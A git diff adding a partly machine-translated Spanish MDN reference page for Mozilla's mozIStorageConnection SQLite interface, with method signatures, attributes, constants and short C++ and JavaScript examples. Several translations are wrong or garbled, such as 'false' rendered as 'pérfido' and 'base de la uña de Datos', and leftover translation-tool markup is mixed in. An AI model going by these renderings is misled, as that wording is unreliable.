+        <p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xpcom"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom/feeds"> como RSS</a></li>
+</ul><p></p>
+        <p> </p>
+        <h4 id="Temas_relacionados" name="Temas_relacionados">Temas relacionados</h4>
+        <dl>
+          <dd>
+            <a href="/es/XUL" title="es/XUL">XUL</a>, <a href="/es/JavaXPCOM" title="es/JavaXPCOM">JavaXPCOM</a>, <a href="/es/PyXPCOM" title="es/PyXPCOM">PyXPCOM</a>, <a href="/es/XPConnect" title="es/XPConnect">XPConnect</a>, <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a>.</dd>
+        </dl>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p></p>
diff --git a/files/es/mozistorageconnection/index.html b/files/es/mozistorageconnection/index.html
new file mode 100644
index 0000000000..3bfa18ae40
--- /dev/null
+++ b/files/es/mozistorageconnection/index.html
@@ -0,0 +1,470 @@
+---
+title: mozIStorageConnection
+slug: mozIStorageConnection
+tags:
+  - Interfaces
+  - Storage
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageConnection
+---
+<p> </p>
+<p> <span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The mozIStorageConnection interface
+represents a database connection attached to a specific file or to
+in-memory data storage.">La interfaz de mozIStorageConnection representa una conexión de base de datos adjuntos a un archivo específico o de datos en memoria de almacenamiento. </span><span style="background-color: rgb(255, 255, 255);" title="It is the primary
+interface for interacting with a database, including creating prepared
+statements, executing SQL, and examining database errors.">Es la principal interfaz para interactuar con una base de datos, incluyendo la creación de comandos preparados, la ejecución de SQL, y el examen de los errores de base de datos.</span><br>
+ <br>
+ <span style="background-color: rgb(255, 255, 255);" title="See Storage for an
+introduction">Véase el <a href="/es/Storage" title="es/Storage">almacenamiento</a> de una introducción</span></span></p>
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozIStorageConnection.idl" rel="custom">storage/public/mozIStorageConnection.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9 (Firefox 3)</span></div>
+</div><p></p>
+<p><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Inherits from">Hereda de:</span></span> <a href="/es/nsISupports" title="es/nsISupports">nsISupports</a></p>
+<h2 id="Method_overview" name="Method_overview"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Method overview">Método de vista</span></span></h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#close.28.29">close</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>mozIStorageStatement <a href="#createStatement.28.29">createStatement</a>(in <a href="/es/AUTF8String" title="es/AUTF8String">AUTF8String</a> aSQLStatement);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#executeSimpleSQL.28.29">executeSimpleSQL</a>(in <a href="/es/AUTF8String" title="es/AUTF8String">AUTF8String</a> aSQLStatement);</code></td>
+  </tr>
+  <tr>
+   <td><code>boolean <a href="#tableExists.28.29">tableExists</a>(in <a href="/es/AUTF8String" title="es/AUTF8String">AUTF8String</a> aTableName);</code></td>
+  </tr>
+  <tr>
+   <td><code>boolean <a href="#indexExists.28.29">indexExists</a>(in <a href="/es/AUTF8String" title="es/AUTF8String">AUTF8String</a> aIndexName);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#beginTransaction.28.29">beginTransaction</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#beginTransactionAs.28.29">beginTransactionAs</a>(in PRInt32 transactionType);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#commitTransaction.28.29">commitTransaction</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#rollbackTransaction.28.29">rollbackTransaction</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#createTable.28.29">createTable</a>(in string aTableName, in string aTableSchema);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#createFunction.28.29">createFunction</a>(in <a href="/es/AUTF8String" title="es/AUTF8String">AUTF8String</a> aFunctionName, in long aNumArguments, in <a href="/es/MozIStorageFunction" title="es/MozIStorageFunction">mozIStorageFunction</a> aFunction);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#createAggregateFunction.28.29">createAggregateFunction</a>(in <a href="/es/AUTF8String" title="es/AUTF8String">AUTF8String</a> aFunctionName, in long aNumArguments, in <a href="/es/MozIStorageAggregateFunction" title="es/MozIStorageAggregateFunction">mozIStorageAggregateFunction</a> aFunction);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeFunction.28.29">removeFunction</a>(in <a href="/es/AUTF8String" title="es/AUTF8String">AUTF8String</a> aFunctionName);</code></td>
+  </tr>
+  <tr>
+   <td><code>mozIStorageProgressHandler <a href="#setProgressHandler.28.29">setProgressHandler</a>(in PRInt32 aGranularity, in <a href="/es/MozIStorageProgressHandler" title="es/MozIStorageProgressHandler">mozIStorageProgressHandler</a> aHandler);</code></td>
+  </tr>
+  <tr>
+   <td><code>mozIStorageProgressHandler <a href="#removeProgressHandler.28.29">removeProgressHandler</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#preload.28.29">preload</a>();</code> <span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Attributes" name="Attributes"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Attributes">Atributos</span></span></h2>
+<table class="standard-table" style="width: 1150px; height: 248px;">
+ <tbody>
+  <tr>
+   <td class="header"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Attribute">Atributo</span></span></td>
+   <td class="header"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Type">Tipo</span></span></td>
+   <td class="header"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Description">Descripción</span></span></td>
+  </tr>
+  <tr>
+   <td><code>connectionReady</code></td>
+   <td><code>boolean</code></td>
+   <td><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Indicates whether or not the connection is
+            open or ready to use.">Indica si la conexión está abierta o lista para usar. </span><span style="background-color: rgb(255, 255, 255);" title="This is false if the connection failed to open or if it has been
+            closed.">Esto es </span></span>pérfido<span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="This is false if the connection failed to open or if it has been
+            closed."> si la conexión no pudo abrir o si se ha cerrado.</span></span></td>
+  </tr>
+  <tr>
+   <td><code>databaseFile</code></td>
+   <td><code>nsIFile</code></td>
+   <td><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The current database file.">El archivo de base de datos actual. </span></span><code>NULL</code><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span>
+    <div class="almost_half_cell" style="">
+     <div dir="ltr" style="">
+      <div id="tts_button" style="display: block;" title="Escuchar
+            traducción">
+       &lt;object width="18" height="18" id="tts_flash" data="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>" type="application/x-shockwave-flash"&gt; &lt;param name="movie" value="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>"/&gt; &lt;param name="flashvars" value="sound_name=&amp;amp;sound_name_cb=_TTSSoundFile"/&gt; &lt;param name="wmode" value="transparent"/&gt; &lt;param name="allowScriptAccess" value="always"/&gt;&lt;/object&gt;</div>
+      <span class="short_text" id="result_box"><span style="" title="">si La Conexión de la Base de Datos en sí refiere una base de la uña de Datos en la memoria.</span></span></div>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>lastInsertRowID</code></td>
+   <td><code>long long</code></td>
+   <td><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The row ID from the last SQL INSERT
+            operation.">El identificador de fila de la última operación </span></span><code>INSER</code><code>T</code><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The row ID from the last SQL INSERT
+            operation."> de SQL. </span></span></td>
+  </tr>
+  <tr>
+   <td><code>lastError</code></td>
+   <td><code>long</code></td>
+   <td><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The last sqlite error code that occurred.">El último código de error SQLite que se produjo.</span></span></td>
+  </tr>
+  <tr>
+   <td><code>lastErrorString</code></td>
+   <td><code><a href="/es/AUTF8String" title="es/AUTF8String">AUTF8String</a></code></td>
+   <td><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The English error string reported by the
+            sqlite library for the last sqlite operation.">La cadena de error Inglés reportados por la librería SQLite para el funcionamiento de SQLite pasado.</span></span></td>
+  </tr>
+  <tr>
+   <td><code>schemaVersion</code></td>
+   <td><code>long</code></td>
+   <td><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The schema version of the database.">La versión del esquema de la base de datos. </span><span style="background-color: rgb(255, 255, 255);" title="This should not be
+            used until the database is ready.">Esto no debe ser utilizado hasta la base de datos está listo. </span><span style="background-color: rgb(255, 255, 255);" title="The version will be reported as 0 if not set.">La versión será reportado como 0 si no se establece. </span><span style="background-color: rgb(255, 255, 255);" title="since Gecko 1.9 M8">desde Gecko 1.9 M8</span></span></td>
+  </tr>
+  <tr>
+   <td><code>transactionInProgress</code></td>
+   <td><code>boolean</code></td>
+   <td>
+    <p><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Returns true if there is a transaction in
+            progress on the database; otherwise returns false.">Devuelve </span></span><code>true</code><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Returns true if there is a transaction in
+            progress on the database; otherwise returns false."> si hay una transacción en curso sobre la base de datos, de lo contrario devuelve </span></span><code>false</code><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Returns true if there is a transaction in
+            progress on the database; otherwise returns false.">.</span></span></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Constants" name="Constants"><span class="short_text" id="result_box"><span style="background-color: rgb(235, 239, 249);" title="Constants">Constantes</span></span></h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header"><span class="short_text" id="result_box"><span style="background-color: rgb(235, 239, 249);" title="Constants">Constante</span></span></td>
+   <td class="header"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Value">Valor</span></span></td>
+   <td class="header"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Description">Descripción</span></span></td>
+  </tr>
+  <tr>
+   <td><code>TRANSACTION_DEFERRED</code></td>
+   <td>0</td>
+   <td><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Default.">Predeterminado. </span><span style="background-color: rgb(255, 255, 255);" title="The database lock
+            is acquired when needed.">El bloqueo de la base de datos se adquiere cuando sea necesario.</span></span></td>
+  </tr>
+  <tr>
+   <td><code>TRANSACTION_IMMEDIATE</code></td>
+   <td>1</td>
+   <td><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Get a read lock on the database
+            immediately.">Obtener un bloqueo de lectura sobre la base de datos inmediatamente.</span></span></td>
+  </tr>
+  <tr>
+   <td><code>TRANSACTION_EXCLUSIVE</code></td>
+   <td>2</td>
+   <td><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Get a write lock on the database
+            immediately.">Obtener un bloqueo de escritura sobre la base de datos inmediatamente.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Methods" name="Methods"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Methods">Métodos</span></span></h2>
+<h3 id="close.28.29" name="close.28.29">close()</h3>
+<p><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Closes a database connection.">Cierra una conexión de base de datos. </span><span style="background-color: rgb(255, 255, 255);" title="C++ callers should simply set the database
+variable to NULL.">C + + que llaman simplemente debe establecer la variable de la base de datos como </span></span><code>NULL</code><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="C++ callers should simply set the database
+variable to NULL.">. </span><span style="background-color: rgb(255, 255, 255);" title="since Gecko 1.9 M8">desde Gecko 1.9 M8</span></span></p>
+<p><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="You need to call">Tienes que llamar</span></span> <a href="/es/MozIStorageStatement#finalize.28.29" title="es/MozIStorageStatement#finalize.28.29">finalize()</a> en la <a href="/es/Storage#Statements" title="es/Storage#Statements"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="statement">declaración</span></span></a> <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="if you have created one before attempting to
+close or you will get an">si ha creado uno antes de intentar cerrar o usted recibirá un</span></span> <code>NS_ERROR_FILE_IS_LOCKED</code> <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="exception">excepción</span></span>.</p>
+<pre class="eval">void close();
+</pre>
+<h6 id="Parameters" name="Parameters"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Parameters">Parámetros</span></span></h6>
+<p><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="None.">Ninguno.</span></span></p>
+<h3 id="createStatement.28.29" name="createStatement.28.29">createStatement()</h3>
+<p><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Creates a">Crea un</span></span> <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageStatement" title="">mozIStorageStatement</a></code> <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="for the given SQL expression">para la expresión de SQL dada</span></span>. <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The expression may use">La expresión puede utilizar</span></span> <code>"?"</code> <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="to indicate sequentially numbered arguments">para indicar los argumentos numerados secuencialmente</span></span> (?1, ?2, etc) or <code>":name"</code> y <code>"$var"</code> <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="to indicate named arguments">para indicar el nombre argumentos</span></span>.</p>
+<pre class="eval"> mozIStorageStatement createStatement(
+   in AUTF8String aSQLStatement
+ );
+</pre>
+<h6 id="Parameters_2" name="Parameters_2"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Parameters">Parámetros</span></span></h6>
+<dl>
+ <dt>
+  <code>aSQLStatement</code></dt>
+ <dd>
+  <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The SQL statement to execute.">La instrucción SQL a ejecutar.</span></span></dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Returns a new">Devuelve una nueva</span></span> <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageStatement" title="">mozIStorageStatement</a></code> <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="to be used to execute the specified
+statement">que se utilizará para ejecutar la instrucción especificada</span></span>.</p>
+<h3 id="executeSimpleSQL.28.29" name="executeSimpleSQL.28.29">executeSimpleSQL()</h3>
+<p><span class="short_text" id="result_box"><span title="Executes an SQL
+expression.">Ejecuta una expresión SQL. </span><span style="background-color: rgb(255, 255, 255);" title="By default, it
+doesn't expect any arguments at all.">De forma predeterminada, que no espera ningún argumento en absoluto.</span></span></p>
+<pre class="eval"> void executeSimpleSQL(
+   in AUTF8String aSQLStatement
+ );
+</pre>
+<h6 id="Parameters_2" name="Parameters_2"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Parameters">Parámetros</span></span></h6>
+<dl>
+ <dt>
+  <code>aSQLStatement</code></dt>
+ <dd>
+  <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The SQL statement to execute.">La instrucción SQL a ejecutar.</span></span></dd>
+</dl>
+<h3 id="tableExists.28.29" name="tableExists.28.29">tableExists()</h3>
+<p><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="This method reports whether the given table
+exists or not.">Este método reporta si los informes de la tabla dada existe o no.</span></span></p>
+<pre class="eval"> boolean tableExists(
+   in AUTF8String aTableName
+ );
+</pre>
+<h6 id="Parameters_2" name="Parameters_2"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Parameters">Parámetros</span></span></h6>
+<dl>
+ <dt>
+  <code>aTableName</code></dt>
+ <dd>
+  <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The SQL table whose existence should be
+    checked.">La tabla de SQL cuya existencia debe estar marcada.</span></span></dd>
+</dl>
+<h6 id="Return_value_2" name="Return_value_2">Return value</h6>
+<p><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Returns true if the table exists, false
+otherwise.">Devuelve </span></span><code>true</code><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Returns true if the table exists, false
+otherwise."> si la tabla existe, </span></span><code>false</code><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Returns true if the table exists, false
+otherwise."> en caso contrario. </span></span></p>
+<h3 id="indexExists.28.29" name="indexExists.28.29">indexExists()</h3>
+<p><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="This method determines whether or not the
+given index exists.">Este método determina si el índice dado existe.</span></span></p>
+<pre class="eval"> boolean indexExists(
+   in AUTF8String aIndexName
+ );
+</pre>
+<h6 id="Parameters_2" name="Parameters_2"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Parameters">Parámetros</span></span></h6>
+<dl>
+ <dt>
+  <code>aIndexName</code></dt>
+ <dd>
+  <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The index to check.">El índice de comprobar.</span></span></dd>
+</dl>
+<h6 id="Return_value_3" name="Return_value_3">Return value</h6>
+<p>Returns <code>true</code> if the index exists, <code>false</code> otherwise.</p>
+<h3 id="beginTransaction.28.29" name="beginTransaction.28.29">beginTransaction()</h3>
+<p><span class="medium_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Starts a new transaction.">Inicia una nueva transacción. </span><span style="background-color: rgb(255, 255, 255);" title="By default, SQLite defers transactions.">De forma predeterminada, SQLite aplaza transacciones. </span><span style="background-color: rgb(255, 255, 255);" title="If a transaction is
+already active, this method throws an exception.">Si la transacción ya está activa, este método produce una excepción.</span></span></p>
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> Use of <code>beginTransaction()</code> and related methods is strongly recommended because it stores the transaction state in the connection. Otherwise, the attribute <code>transactionInProgress</code> will have the wrong value.</div><p></p>
+<pre class="eval"> void beginTransaction();
+</pre>
+<h3 id="beginTransactionAs.28.29" name="beginTransactionAs.28.29">beginTransactionAs()</h3>
+<p>This method starts a new transaction of the given transaction type.</p>
+<pre class="eval"> void beginTransactionAs(
+   in PRInt32 transactionType
+ );
+</pre>
+<h6 id="Parameters_6" name="Parameters_6">Parameters</h6>
+<dl>
+ <dt>
+  <code>transactionType</code></dt>
+ <dd>
+  The type of transaction (<code>TRANSACTION_DEFERRED</code>, <code>TRANSACTION_IMMEDIATE</code> or <code>TRANSACTION_EXCLUSIVE</code>).</dd>
+</dl>
+<h3 id="commitTransaction.28.29" name="commitTransaction.28.29">commitTransaction()</h3>
+<p>This method commits the current transaction.</p>
+<pre class="eval"> void commitTransaction();
+</pre>
+<h6 id="Parameters_7" name="Parameters_7">Parameters</h6>
+<p>None.</p>
+<h6 id="Exceptions_thrown" name="Exceptions_thrown">Exceptions thrown</h6>
+<dl>
+ <dt>
+  <code>NS_ERROR_STORAGE_NO_TRANSACTION</code></dt>
+ <dd>
+  No transaction is active.</dd>
+</dl>
+<h3 id="rollbackTransaction.28.29" name="rollbackTransaction.28.29">rollbackTransaction()</h3>
+<p>This method rolls back the current transaction. This is essentially an "undo," and returns the database to the state it was in before the transaction began.</p>
+<pre class="eval"> void rollbackTransaction();
+</pre>
+<h6 id="Parameters_8" name="Parameters_8">Parameters</h6>
+<p>None.</p>
+<h6 id="Exceptions_thrown_2" name="Exceptions_thrown_2">Exceptions thrown</h6>
+<dl>
+ <dt>
+  <code>NS_ERROR_STORAGE_NO_TRANSACTION</code></dt>
+ <dd>
+  No transaction is active.</dd>
+</dl>
+<h3 id="createTable.28.29" name="createTable.28.29">createTable()</h3>
+<p>This method creates a table with the given table name and schema.</p>
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> At some point in the near future, this method will check to be sure the schema is the same as what is specified, but that is not currently done.</div><p></p>
+<pre class="eval"> void createTable(
+   in string aTableName,
+   in string aTableSchema
+ );
+</pre>
+<p> </p>
+<h6 id="Parameters_9" name="Parameters_9">Parameters</h6>
+<dl>
+ <dt>
+  <code>aTableName</code></dt>
+ <dd>
+  The name of the table to create; table names may consist of the letters A-Z in either upper or lower case, the underscore, and the digits 0-9. The first character must be a letter.</dd>
+ <dt>
+  <code>aTableSchema</code></dt>
+ <dd>
+  The table's schema. This should be specified using the same syntax the <code>CREATE TABLE</code> statement uses. For example: <code>"foo INTEGER, bar STRING"</code>.</dd>
+</dl>
+<h6 id="Exceptions_thrown_3" name="Exceptions_thrown_3">Exceptions thrown</h6>
+<dl>
+ <dt>
+  <code>NS_ERROR_FAILURE</code></dt>
+ <dd>
+  Table already exists or the requested table couldn't be created.</dd>
+</dl>
+<h3 id="createFunction.28.29" name="createFunction.28.29">createFunction()</h3>
+<p>Creates a new SQLite function. since Gecko 1.9 M8</p>
+<pre class="eval"> void createFunction(
+   in AUTF8String aFunctionName,
+   in long aNumArguments,
+   in mozIStorageFunction aFunction
+ );
+</pre>
+<h6 id="Parameters_10" name="Parameters_10">Parameters</h6>
+<dl>
+ <dt>
+  <code>aFunctionName</code></dt>
+ <dd>
+  The name of function to create, as seen in SQL.</dd>
+ <dt>
+  <code>aNumArguments</code></dt>
+ <dd>
+  The number of arguments the function takes. Pass <code>-1</code> for variable-argument functions.</dd>
+ <dt>
+  <code>aFunction</code></dt>
+ <dd>
+  The instance of <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageFunction" title="">mozIStorageFunction</a></code> that implements the function.</dd>
+</dl>
+<h3 id="createAggregateFunction.28.29" name="createAggregateFunction.28.29">createAggregateFunction()</h3>
+<p>This method creates a new SQLite aggregate function. since Gecko 1.9 M8</p>
+<pre class="eval"> void createAggregateFunction(
+   in AUTF8String aFunctionName,
+   in long aNumArguments,
+   in mozIStorageAggregateFunction aFunction
+ );
+</pre>
+<h6 id="Parameters_11" name="Parameters_11">Parameters</h6>
+<dl>
+ <dt>
+  <code>aFunctionName</code></dt>
+ <dd>
+  The name of the aggregate function to create, as seen in SQL.</dd>
+ <dt>
+  <code>aNumArguments</code></dt>
+ <dd>
+  The number of arguments the function takes. Pass <code>-1</code> for variable-argument functions.</dd>
+ <dt>
+  <code>aFunction</code></dt>
+ <dd>
+  The instance of <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageAggregateFunction" title="">mozIStorageAggregateFunction</a></code> that implements the function.</dd>
+</dl>
+<h3 id="removeFunction.28.29" name="removeFunction.28.29">removeFunction()</h3>
+<p>Deletes a custom SQLite function; it works with both standard and aggregate functions. since Gecko 1.9 M8</p>
+<pre class="eval"> void removeFunction(
+   in AUTF8String aFunctionName
+ );
+</pre>
+<h6 id="Parameters_12" name="Parameters_12">Parameters</h6>
+<dl>
+ <dt>
+  <code>aFunctionName</code></dt>
+ <dd>
+  The name of the function to remove.</dd>
+</dl>
+<h3 id="setProgressHandler.28.29" name="setProgressHandler.28.29">setProgressHandler()</h3>
+<p>This method sets a progress handler. Only one handler can be registered at a time; if you need more than one, you need to chain them yourself. since Gecko 1.9 M8</p>
+<pre class="eval"> mozIStorageProgressHandler setProgressHandler(
+   in PRInt32 aGranularity,
+   in mozIStorageProgressHandler aHandler
+ );
+</pre>
+<p> </p>
+<h6 id="Parameters_13" name="Parameters_13">Parameters</h6>
+<dl>
+ <dt>
+  <code>aGranularity</code></dt>
+ <dd>
+  The number of SQL virtual machine steps between progress handler callbacks.</dd>
+ <dt>
+  <code>aHandler</code></dt>
+ <dd>
+  The instance of <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageProgressHandler" title="">mozIStorageProgressHandler</a></code>.</dd>
+</dl>
+<h6 id="Return_value_4" name="Return_value_4">Return value</h6>
+<p>Returns the previous registered handler.</p>
+<h3 id="removeProgressHandler.28.29" name="removeProgressHandler.28.29">removeProgressHandler()</h3>
+<p>Removes a progress handler. since Gecko 1.9 M8</p>
+<pre class="eval"> mozIStorageProgressHandler removeProgressHandler();
+</pre>
+<h6 id="Parameters_14" name="Parameters_14">Parameters</h6>
+<p>None.</p>
+<h6 id="Return_value_5" name="Return_value_5">Return value</h6>
+<p>Returns the previous registered handler.</p>
+<h3 id="preload.28.29" name="preload.28.29">preload()</h3>
+<p><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Preloads the database cache by loading pages
+from the start of the database file until the memory cache (the size of
+which is specified by PRAGMA cache_size=size) is full or the entire
+file is read.">Precarga el caché de la base de datos mediante la carga de las páginas desde el principio del archivo de base de datos hasta la caché de memoria (el tamaño de las que se especifica en </span></span><code>PRAGMA</code><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Preloads the database cache by loading pages
+from the start of the database file until the memory cache (the size of
+which is specified by PRAGMA cache_size=size) is full or the entire
+file is read."> cache_size = tamaño) está lleno o la totalidad del expediente que se lee.</span></span></p>
+<div class="warning">
+ <strong>Advertencia</strong>: Este método ha sido <strong>eliminado</strong> en Firefox 3.</div>
+<p><span class="long_text" id="result_box"><span title="The cache
+must be active on the database for this to work.">El caché debe estar activo en la base de datos para que esto funcione. </span><span style="background-color: rgb(255, 255, 255);" title="This means that you
+must have a transaction open on the connection, or have a transaction
+open on another connection that shares the same pager cache.">Esto significa que debe tener una transacción abierta en la conexión, o tiene una transacción abierta en otro contexto, que comparte la misma caché de localizador. </span><span style="background-color: rgb(255, 255, 255);" title="This cached data
+will go away when the transaction is closed.">Estos datos almacenados en caché se marchará cuando se cierra la transacción. </span></span><br>
+ <br>
+ <span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="This preload
+operation can dramatically speed up read operations because the data is
+loaded as one large block.">Esta operación precarga puede acelerar las operaciones de lectura porque los datos se carga un gran bloque.</span></span><span class="long_text" id="result_box"><span title="Normally, pages are read in on
+demand, which can cause many disk seeks.">Normalmente, las páginas se lee en la carta, que puede causar muchos de disco busca.</span></span><span id="zippyspan" style="display: block;"><img alt="" class="buttons square13 zippy-plus" id="zippyicon" src="http://www.google.es/images/cleardot.gif" style="margin-right: 0.33em; cursor: pointer;"></span></p>
+<pre class="eval"> void preload();
+</pre>
+<h6 id="Parameters_15" name="Parameters_15">Parameters</h6>
+<p>None.</p>
+<h3 id="Example:_Creating_a_statement_without_parameters" name="Example:_Creating_a_statement_without_parameters"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Example: Creating a statement without
+parameters">Ejemplo: Creación de una declaración sin parámetros</span></span></h3>
+<h4 id="C.2B.2B" name="C.2B.2B">C++</h4>
+<pre class="eval">rv = mDBConn-&gt;ExecuteSimpleSQL(NS_LITERAL_CSTRING("CREATE TABLE foo (a INTEGER)"));
+</pre>
+<h4 id="JavaScript" name="JavaScript">JavaScript</h4>
+<pre class="eval">mDBConn.executeSimpleSQL("CREATE TABLE foo (a INTEGER)");
+</pre>
+<h3 id="Example:_Creating_a_statement_that_has_parameters" name="Example:_Creating_a_statement_that_has_parameters"><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Example: Creating a statement that has
+parameters">Ejemplo: Creación de una declaración que tiene parámetros</span></span></h3>
+<h4 id="C.2B.2B_2" name="C.2B.2B_2">C++</h4>
+<pre>nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = mDBConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1"),
+                              getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+<h4 id="JavaScript_2" name="JavaScript_2">JavaScript</h4>
+<pre class="eval">var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1");
+</pre>
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+<ul>
+ <li><a href="/es/Storage" title="es/Storage">Storage</a> <span class="short_text" id="result_box"><span style="" title="">introducción mozStorage y con el artículo</span></span></li>
+ <li><a href="/es/MozIStorageStatement" title="es/MozIStorageStatement">mozIStorageStatement</a> Create and execute SQL statements on a SQLite database.</li>
